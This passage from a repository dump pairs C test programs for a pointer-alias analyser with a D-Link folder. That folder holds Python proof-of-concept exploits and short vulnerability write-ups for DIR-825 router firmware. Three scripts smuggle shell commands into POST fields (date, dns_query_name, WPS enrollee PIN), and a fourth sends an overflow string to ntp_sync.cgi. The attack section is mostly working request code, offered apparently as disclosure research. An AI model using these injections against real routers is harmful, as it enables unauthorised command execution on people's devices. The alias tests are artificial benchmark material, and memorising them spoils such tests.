| int main(){ 18 | 19 | int **a,**b,*x,*y,*m,*n; 20 | if(a){ 21 | a = &x; 22 | b = &y; 23 | } 24 | else{ 25 | a = &m; 26 | b = &n; 27 | } 28 | return 0; 29 | } 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur0.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int *x, y, z; 3 | 4 | void f() { 5 | if(z > 5) return; 6 | z++; 7 | if (1) { 8 | x = &y; 9 | MUSTALIAS(x,&y); 10 | f(); 11 | x = &z; 12 | MUSTALIAS(x,&z); 13 | NOALIAS(x,&y); 14 | f(); 15 | } 16 | } 17 | 18 | 19 | int main() 20 | { 21 | f(); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur10.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int **p,*x, y, z; 3 | 4 | void f() { 5 | p = &x; 6 | if (z) { 7 | *p = &y; 8 | MUSTALIAS(x,&y); 9 | f(); 10 | *p = &z; 11 | MAYALIAS(x,&z); 12 | NOALIAS(x,&y); 13 | f(); 14 | } 15 | } 16 | 17 | 18 | int main() 19 | { 20 | f(); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur2.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int* x,y; 3 | void f(int *m){ 4 | MUSTALIAS(m,&y); 5 | int *n; 6 | if(y==1){ 7 | n=&y; 8 | 9 | f(n); 10 | } 11 | } 12 | 13 | int main(){ 14 | x=&y; 15 | f(x); 16 | } 17 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur3.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int x, *y, z; 3 | void f(int **m); 4 | void main(){ 5 | 6 | int **a = &y; 7 | 8 | f(a); 9 | 10 | 11 | } 12 | 13 | void f(int **m){ 14 | if(x){ 15 | *m = &x; 16 | MUSTALIAS(y,&x); 17 | NOALIAS(y,&z); 18 | f(m); 19 | } 20 | else{ 21 | *m = &z; 22 | MUSTALIAS(y,&z); 23 | NOALIAS(y,&x); 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur4.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int **x, *y; 3 | int z; 4 | void f(int **p); 5 | void main(){ 6 | x = &y; 7 | f(x); 8 | } 9 | 10 | 11 | void f(int **p){ 12 | int k; 13 | y = &k; 14 | if (z){ 15 | *p = &z; 16 | MUSTALIAS(y,&z); 17 | NOALIAS(y,&k); 18 | 19 | f(p); 20 | } 21 | /// y will not alias to &z as the value flow 22 | /// of y after it is updated at "*p=&z" will 23 | /// flow into f(p) again and then be updated 24 | /// by the first statement "y=&k". 25 | NOALIAS(y,&z); 26 | MAYALIAS(y,&k); 27 | 28 | } 29 | 30 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur5.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int* x, x1; 3 | void f(int **m){ 4 | int **n,*y,*k,z,r; 5 | n = &y; 6 | y = &z; 7 | if(z==1){ 8 | *n=&r; 9 | MUSTALIAS(y,&r); 10 | EXPECTEDFAIL_NOALIAS(y,&z); 11 | k = *n; 12 | MUSTALIAS(k,&r); 13 | EXPECTEDFAIL_NOALIAS(k,&z); 14 | f(n); 15 | } 16 | } 17 | 18 | int main(){ 19 | x=&x1; 20 | f(x); 21 | } 22 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur6.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int *x,y,z; 3 | 4 | void f(); 5 | 6 | int main(){ 7 | f(); 8 | *x=100; 9 | } 10 | 11 | void f(){ 12 | 13 | if(z){ 14 | x=&y; 15 | f(); 16 | x=&z; 17 | f(); 18 | MUSTALIAS(x,&z); 19 | EXPECTEDFAIL_NOALIAS(x,&y); 20 | } 21 | MAYALIAS(x,&z); 22 | MAYALIAS(x,&y); 23 | } 24 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur7.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int bar(int *q){ 3 | *q = 100; 4 | foo(q); 5 | } 6 | 7 | int foo(int *a){ 8 | *a = 10; 9 | if(*a!=100) 10 | bar(a); 11 | } 12 | 13 | 14 | 15 | 16 | int main(){ 17 | int* a,b,c; 18 | b=0; 19 | a = &b; 20 | foo(a); 21 | a = &c; 22 | foo(a); 23 | } 24 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur8.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int z1,z2; 3 | void foo(int **p); 4 | void bar(int **a){ 5 | if(z1>5) return; 6 | z1++; 7 | int *c, b; 8 | *a = &b; 9 | c = *a; 10 | MUSTALIAS(c,&b); 11 | MAYALIAS(c,&z1); // it should be no-alias if strong updates are enabled 12 | MAYALIAS(c,&z2); 13 | foo(a); 14 | } 15 | 16 | 17 | void foo(int** p){ 18 | 19 | p = malloc(10); 20 | *p = &z2; 21 | bar(p); 22 | } 23 | 24 | int main(){ 25 | 26 | int **x, *y; 27 | x = &y; 28 | y = &z1; 29 | foo(x); 30 | } 31 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/recur9.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int z; 3 | void foo(int **a); 4 | void bar(int **q){ 5 | int** a = malloc(10); 6 | foo(a); 7 | } 8 | 9 | void foo(int **a){ 10 | if(z>5) return; 11 | z++; 12 | *a = &z; 13 | bar(a); 14 | } 15 | 16 | 17 | 18 | 19 | int main(){ 20 | int** a,*b,*c,b1,c1; 21 | b = &b1; 22 | a = &b; 23 | foo(a); 24 | MAYALIAS(b,&z); 25 | EXPECTEDFAIL_NOALIAS(b,&b1); 26 | a = &c; 27 | foo(a); 28 | MAYALIAS(c,&z); 29 | NOALIAS(c,&c1); 30 | } 31 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/array_alias_1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Array alias in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | struct MyStruct { 10 | int *f1; 11 | int *f2; 12 | }; 13 | 14 | int main() { 15 | struct MyStruct s[2]; 16 | int x, y; 17 | s[0].f1 = &x; 18 | s[1].f2 = &y; 19 | 20 | // Arrays are treated as a single element. 21 | // Different fields have its own points-to set. 22 | // Same fields have same points-to set, even they belong 23 | // to different elements. 24 | NOALIAS(s[0].f1, s[0].f2); 25 | NOALIAS(s[0].f1, s[1].f2); 26 | NOALIAS(s[0].f1, s[1].f1); 27 | 28 | s[0].f1 = &y; 29 | MUSTALIAS(s[0].f1, s[1].f2); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/array_alias_2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias with array 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | int * f1; 10 | int * f2; 11 | float * f3; 12 | }; 13 | 14 | int main() { 15 | struct MyStruct s[3]; 16 | int * p[2]; 17 | int a,b,c,d; 18 | float x,y; 19 | s[0].f1 = &a, s[0].f2 = &c, s[0].f3 = &x; 20 | s[1].f1 = &b, s[1].f2 = &d, s[1].f3 = &y; 21 | p[0] = &c, p[1] = &d; 22 | 23 | // Same fields of different elements in a certain 24 | // array are treated as one object. 25 | NOALIAS(s[0].f1, s[1].f1); 26 | NOALIAS(p[0], s[1].f2); 27 | NOALIAS(s[0].f3, &y); 28 | 29 | // Different fields of different elements in a 30 | // certain array are treated as different objects. 31 | NOALIAS(s[0].f1, s[1].f2); 32 | NOALIAS(p[1], s[1].f1); 33 | 34 | if (a) 35 | s[1].f1 = &c; 36 | MAYALIAS(s[0].f2, s[1].f1); 37 | 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/array_alias_3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Array alias in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | struct MyStruct { 10 | int *f1; 11 | int *f2; 12 | }; 13 | 14 | int main() { 15 | struct MyStruct s[2]; 16 | int x, y; 17 | s[0].f1 = &x; 18 | s[1].f2 = &y; 19 | 20 | s[0].f1 = &y; 21 | MUSTALIAS(s[0].f1, s[1].f2); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/array_alias_4.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias with array 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | int * f1; 10 | int * f2; 11 | }; 12 | 13 | int main() { 14 | struct MyStruct s[2]; 15 | int a,b,c,d; 16 | s[0].f1 = &a, s[0].f2 = &c;//, s[0].f3 = &x; 17 | 18 | if (a) 19 | s[1].f1 = &c; 20 | NOALIAS(s[0].f1, s[1].f2); 21 | MAYALIAS(s[0].f2, s[1].f1); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/array_alias_5.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias with array 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | int * f1; 10 | int * f2; 11 | }; 12 | 13 | int main() { 14 | struct MyStruct s[3]; 15 | int a,b,c,d; 16 | s[0].f1 = &a, s[0].f2 = &c;//, s[0].f3 = &x; 17 | s[1].f1 = &b, s[1].f2 = &d;//, s[1].f3 = &y; 18 | 19 | if (a) 20 | s[1].f1 = &c; 21 | NOALIAS(s[0].f1, s[1].f2); 22 | MAYALIAS(s[0].f2, s[1].f1); 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/array_alias_6.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Array alias in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | struct MyStruct { 10 | int *f1; 11 | int *f2; 12 | }; 13 | 14 | int main() { 15 | struct MyStruct s[2]; 16 | int x, y, i, j; 17 | s[0].f1 = &x; 18 | s[1].f2 = &y; 19 | 20 | // Arrays are treated as a single element. 21 | // Different fields have its own points-to set. 22 | // Same fields have same points-to set, even they belong 23 | // to different elements. 24 | // NOALIAS(s[0].f1, s[0].f2); 25 | // NOALIAS(s[0].f1, s[1].f2); 26 | MAYALIAS(s[i].f1, s[j].f1); 27 | 28 | s[0].f1 = &y; 29 | MUSTALIAS(s[0].f1, s[1].f2); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/branch_1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Branches for testing flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int main() { 10 | int *p, *q; 11 | int x, y; 12 | if (x) 13 | p = &x; 14 | else 15 | p = &y; 16 | q = &y; 17 | MAYALIAS(p, q); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/branch_2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Branches for testing flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int main() { 10 | int *p, *q; 11 | int x, y; 12 | q = &y; 13 | if (x) { 14 | p = &x; 15 | NOALIAS(p, q); 16 | } 17 | else { 18 | p = &y; 19 | MUSTALIAS(p, q); 20 | } 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/branch_3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Branches for testing flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int main() { 10 | int **p, **q; 11 | int *x, *y; 12 | int x0, y0; 13 | if (x0) { 14 | p = &x; 15 | q = &y; 16 | NOALIAS(p, q); 17 | } 18 | else { 19 | p = &y; 20 | q = &x; 21 | NOALIAS(p, q); 22 | } 23 | MAYALIAS(p, q); 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/function_pointer.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Function pointer. 3 | * Author: Sen Ye 4 | * Date: 10/10/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | void func1(int *p, int *q) { 9 | // if function pointer solved correctly, 10 | // p and q will alias due to CS1 11 | MUSTALIAS(p,q); 12 | *p = *q; 13 | } 14 | 15 | void (*fp)(int*,int*); 16 | 17 | int main() { 18 | int x, y; 19 | int *m, *n; 20 | if (x) { 21 | m = &x, n = &x; 22 | fp = func1; 23 | fp(m,n); // CS1 24 | } 25 | else { 26 | m = &x; n = &y; 27 | // func1(m,n); // CS2 28 | } 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/function_pointer_2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Function pointer. 3 | * Author: Sen Ye 4 | * Date: 10/10/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | 9 | void func1(int **p, int **q) { 10 | *p = *q; 11 | MUSTALIAS(p, q); 12 | } 13 | 14 | void (*fp)(int**,int**); 15 | 16 | int main() { 17 | int o1, o2; 18 | int *x, *y; 19 | int **m, **n; 20 | x = &o1; 21 | y = &o2; 22 | m = &x; 23 | n = &x; 24 | fp = func1; 25 | fp(m,n); 26 | NOALIAS(x, y); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/global_1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global pointer in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int x, y; int *p = &x; int *q = &y; 10 | int **pp = &p; int**qq = &q; 11 | 12 | void foo() { 13 | NOALIAS(*pp, *qq); 14 | } 15 | void bar() { 16 | qq = &q; 17 | q = &x; 18 | } 19 | int main() { 20 | foo(); 21 | bar(); 22 | MUSTALIAS(*pp, *qq); 23 | } 24 | 25 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/global_2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global pointer in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int **pp, **qq; 10 | int *p, *q; 11 | int x, y; 12 | 13 | void foo() { 14 | pp = &p; 15 | p = &x; 16 | qq = &q; 17 | q = &y; 18 | NOALIAS(*pp, *qq); 19 | } 20 | 21 | void bar() { 22 | qq = &q; 23 | q = &x; 24 | } 25 | 26 | int main() { 27 | foo(); 28 | bar(); 29 | MUSTALIAS(*pp, *qq); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/global_3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global pointer in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int **pp, **qq; 10 | int *p, *q; 11 | int x; 12 | 13 | void foo() { 14 | *pp = &x; 15 | } 16 | 17 | void bar() { 18 | qq = &q; 19 | q = &x; 20 | } 21 | 22 | int main() { 23 | pp = &p; 24 | foo(); 25 | bar(); 26 | MUSTALIAS(*pp, *qq); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/global_4.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int g; 3 | int* obj = &g; 4 | void Zulu(int**p, int *q); 5 | 6 | void Xray(){ 7 | 8 | int **x,*b,*w,d; 9 | x = &b; 10 | w = &d; 11 | Zulu(x,w); 12 | NOALIAS(b,w); 13 | MUSTALIAS(b,&g); 14 | } 15 | 16 | 17 | void Zulu(int**p,int *q){ 18 | *p = q; 19 | *p = obj; 20 | } 21 | 22 | int main(){ 23 | Xray(); 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/global_5.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global pointer in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int **pp, **qq; 10 | int *p, *q; 11 | int x; 12 | 13 | void foo() { 14 | pp = &p; 15 | p = &x; 16 | } 17 | 18 | void bar() { 19 | qq = &q; 20 | q = &x; 21 | } 22 | 23 | int main() { 24 | foo(); 25 | bar(); 26 | MUSTALIAS(*pp, *qq); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/pcycle1.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int main(){ 3 | int ***m,**n,*z,*y,z1,y1; 4 | 5 | m=&n; 6 | n=&z; 7 | *m=&y; 8 | MUSTALIAS(n,&y); 9 | NOALIAS(n,&z); 10 | z=&z1; 11 | y=&y1; 12 | ***m=10; 13 | z=**m; 14 | NOALIAS(z,&z1); 15 | } 16 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/pcycle2.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int main(){ 3 | 4 | int **a,**b,**c; 5 | int k; 6 | a=&b; 7 | *a=&c; 8 | *b=&a; 9 | MUSTALIAS(c,&a); 10 | MUSTALIAS(b,&c); 11 | MUSTALIAS(a,&b); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/return.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Simple program to test flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 12/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | #include 9 | 10 | int * my_malloc(int * q) { 11 | int *p = malloc(*q); 12 | return p; 13 | } 14 | 15 | int main() { 16 | int *p1, *p2, q; 17 | q = 10; 18 | p1 = my_malloc(&q); 19 | q = 20; 20 | p2 = my_malloc(&q); 21 | NOALIAS(p1, p2); 22 | return 0; 23 | } -------------------------------------------------------------------------------- /Alias-Test/fs_tests/simple_1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Simple program to test flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int main() { 10 | int *p, *q; 11 | int x, y; 12 | p = &x; 13 | q = &y; 14 | NOALIAS(p, q); 15 | p = q; 16 | MUSTALIAS(p, q); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/simple_2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Simple program to test flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int main() { 10 | int *p, *q, *r; 11 | int x, y, z; 12 | p = &x; 13 | q = &y; 14 | r = &z; 15 | NOALIAS(p, q); 16 | p = q; 17 | MUSTALIAS(p, q); 18 | p = r; 19 | NOALIAS(p, q); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/simple_3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Simple program to test flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int main() { 10 | int **p, **q; 11 | int *x, *y; 12 | int x0, y0; 13 | p = &x; 14 | q = &y; 15 | *p = &x0; 16 | *q = &y0; 17 | NOALIAS(*p, *q); 18 | *p = *q; 19 | MUSTALIAS(*p, *q); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/strong_update.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void bar(int***k, int***s){ 3 | 4 | *k = *s; 5 | 6 | } 7 | 8 | int main(){ 9 | int *p1,*q1,*r1,*a1,*b1,*c1,q2,a2; 10 | int **p = &p1; 11 | int **q = &q1; 12 | q1 = &q2; 13 | bar(&p,&q); 14 | NOALIAS(p,&p1); 15 | MUSTALIAS(p,&q1); 16 | } 17 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/struct_1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct alias in flow-sensitive analysis. 3 | * Author: Sen Ye 4 | * Date: 08/11/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | struct MyStruct { 10 | int *f1; 11 | int *f2; 12 | }; 13 | 14 | int main() { 15 | struct MyStruct s1, s2; 16 | int x, y; 17 | s1.f1 = &x; 18 | s1.f2 = &y; 19 | s2.f1 = &y; 20 | s2.f2 = &x; 21 | NOALIAS(s1.f1, s1.f2); 22 | NOALIAS(s1.f1, s2.f1); 23 | 24 | s1.f1 = &y; 25 | MUSTALIAS(s1.f1, s2.f1); 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /Alias-Test/fs_tests/test-su.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int **p,**q; 3 | int *x,*y,*z; 4 | int a,b,c; 5 | int main() { 6 | x=&a; 7 | y=&b; 8 | x=&b; 9 | x=&a; 10 | z=&b; 11 | NOALIAS(x,y); 12 | NOALIAS(x,z); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /D-Link/date-comm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | ip = "http://192.168.0.1/" 6 | 7 | url = ip + 'system_time.cgi' 8 | command = "20080523; echo 2 > /tmp/hello2" 9 | 10 | payload = { 11 | "date": command, 12 | "html_response_return_page": "static_routing.asp", 13 | } 14 | 15 | r = requests.post(url, data=payload) 16 | print(r.headers) 17 | print(r.text) 18 | -------------------------------------------------------------------------------- /D-Link/dns-query-comm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | ip = "http://192.168.0.1/" 6 | 7 | url = ip + 'dns_query.cgi' 8 | 9 | command = "a;echo 1 > /tmp/hello2;" 10 | payload = { 11 | "html_response_page": "back.asp", 12 | "dns_query_name": command, 13 | "html_response_return_page": "st_routing.asp", 14 | "countdonw_time": '12', 15 | } 16 | 17 | r = requests.post(url, data=payload) 18 | print(r.headers) 19 | print(r.text) 20 | -------------------------------------------------------------------------------- /D-Link/enrollee-pin-comm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | ip = "http://192.168.0.1/" 6 | 7 | url = ip + 'set_sta_enrollee_pin.cgi' 8 | 9 | command = "a'$(echo 3 > /tmp/hello3)'b" 10 | 11 | payload = { 12 | "wps_sta_enrollee_pin": command, 13 | "html_response_page": "do_wps.asp", 14 | "html_response_return_page": "do_wps.asp", 15 | } 16 | 17 | r = requests.post(url, data=payload) 18 | print(r.headers) 19 | print(r.text) 20 | -------------------------------------------------------------------------------- /D-Link/img/date-command-inject.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/D-Link/img/date-command-inject.jpg -------------------------------------------------------------------------------- /D-Link/img/dns_query_name_command_inject.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/D-Link/img/dns_query_name_command_inject.jpg -------------------------------------------------------------------------------- /D-Link/img/enrollee-pin-command-inject.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/D-Link/img/enrollee-pin-command-inject.jpg -------------------------------------------------------------------------------- /D-Link/img/ntp-server-overflow.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/D-Link/img/ntp-server-overflow.jpg -------------------------------------------------------------------------------- /D-Link/ntp-server-overflow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | ip = "http://192.168.0.1/" 6 | url = ip + 'ntp_sync.cgi ' 7 | 8 | command = 'A'* 0x50 9 | 10 | payload = { 11 | 'ntp_server': command, 12 | } 13 | 14 | r = requests.post(url, data=payload) 15 | print(r.headers) 16 | print(r.text) 17 | -------------------------------------------------------------------------------- /D-Link/vulnerability1.md: -------------------------------------------------------------------------------- 1 | ### Description 2 | ``` 3 | there is a command injection vulnerability that can cause any system command to be executed after user authentication 4 | 5 | Vulnerability location: file: /sbin/httpd 6 | 7 | The attacker calls this function by sending a post packet to the http://ip/system_time.cgi. 8 | ``` 9 | 10 | ### Firmware version 11 | ``` 12 | version: Rev.B 2.10 13 | download link: ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-825/REVB/ 14 | ``` 15 | 16 | ### Post package 17 | ``` 18 | 5 ip = "http://192.168.0.1/" 19 | 6 20 | 7 url = ip + 'system_time.cgi' 21 | 8 command = "20080523; echo 2 > /tmp/hello2" 22 | 9 23 | 10 payload = { 24 | 11 "date": command, 25 | 12 "html_response_return_page": "static_routing.asp", 26 | 13 } 27 | 14 28 | 15 r = requests.post(url, data=payload) 29 | ``` 30 | 31 | ### Exploit exp 32 | `python3 date-comm.py` 33 | 34 | ### Example output 35 | ![Example output](./img/date-command-inject.jpg) 36 | -------------------------------------------------------------------------------- /D-Link/vulnerability2.md: -------------------------------------------------------------------------------- 1 | ### Description 2 | ``` 3 | there is a command injection vulnerability that can cause any system command to be executed after user authentication 4 | 5 | Vulnerability location: file: /sbin/httpd 6 | 7 | The attacker calls this function by sending a post packet to the http://ip/dns_query.cgi 8 | ``` 9 | 10 | ### Firmware version 11 | ``` 12 | version: Rev.B 2.10 13 | download link: ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-825/REVB/ 14 | ``` 15 | 16 | ### Post package 17 | ``` 18 | 5 ip = "http://192.168.0.1/" 19 | 6 20 | 7 url = ip + 'dns_query.cgi' 21 | 8 22 | 9 command = "a;echo 1 > /tmp/hello2;" 23 | 10 payload = { 24 | 11 "html_response_page": "back.asp", 25 | 12 "dns_query_name": command, 26 | 13 "html_response_return_page": "st_routing.asp", 27 | 14 "countdonw_time": '12', 28 | 15 } 29 | 16 30 | 17 r = requests.post(url, data=payload) 31 | ``` 32 | 33 | ### Exploit exp 34 | `python3 dns-query-comm.py` 35 | 36 | ### Example output 37 | ![Example output](./img/dns_query_name_command_inject.jpg) 38 | -------------------------------------------------------------------------------- /D-Link/vulnerability3.md: -------------------------------------------------------------------------------- 1 | ### Description 2 | ``` 3 | there is a command injection vulnerability that can cause any system command to be executed after user authentication 4 | 5 | Vulnerability location: file: /sbin/httpd 6 | 7 | The attacker calls this function by sending a post packet to the http://ip/set_sta_enrollee_pin.cgi 8 | ``` 9 | 10 | ### Firmware version 11 | ``` 12 | version: Rev.B 2.10 13 | download link: ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-825/REVB/ 14 | ``` 15 | 16 | ### Post package 17 | ``` 18 | 5 ip = "http://192.168.0.1/" 19 | 6 20 | 7 url = ip + 'set_sta_enrollee_pin.cgi' 21 | 8 22 | 9 command = "a'$(echo 3 > /tmp/hello3)'b" 23 | 10 24 | 11 payload = { 25 | 12 "wps_sta_enrollee_pin": command, 26 | 13 "html_response_page": "do_wps.asp", 27 | 14 "html_response_return_page": "do_wps.asp", 28 | 15 } 29 | 16 30 | 17 r = requests.post(url, data=payload) 31 | ``` 32 | 33 | ### Exploit exp 34 | `python3 enrollee-pin-comm.py` 35 | 36 | ### Example output 37 | ![Example output](./img/enrollee-pin-command-inject.jpg) 38 | -------------------------------------------------------------------------------- /D-Link/vulnerability4.md: -------------------------------------------------------------------------------- 1 | ### Description 2 | ``` 3 | there is a stack-based buffer overflow vulnerability that can be used to execute any code after user authentication 4 | 5 | Vulnerability location: file: /sbin/httpd 6 | 7 | The attacker calls this function by sending a post packet to the http://ip/ntp_sync.cgi 8 | ``` 9 | 10 | ### Firmware version 11 | ``` 12 | version: Rev.B 2.10 13 | download link: ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-825/REVB/ 14 | ``` 15 | 16 | ### Post package 17 | ``` 18 | 5 ip = "http://192.168.0.1/" 19 | 6 url = ip + 'ntp_sync.cgi ' 20 | 7 21 | 8 command = 'A'* 0x50 22 | 9 23 | 10 payload = { 24 | 11 'ntp_server': command, 25 | 12 } 26 | 13 27 | 14 r = requests.post(url, data=payload) 28 | ``` 29 | 30 | ### Exploit exp 31 | `python3 ntp-server-overflow.py` 32 | 33 | ### Example output 34 | ![Example output](./img/ntp-server-overflow.jpg) 35 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IoTFirmware 2 | Analyze IoT firmware 3 | -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-auto_up_fw.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-auto_up_fw.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-auto_up_lp.pdf: -------------------------------------------------------------------------------- 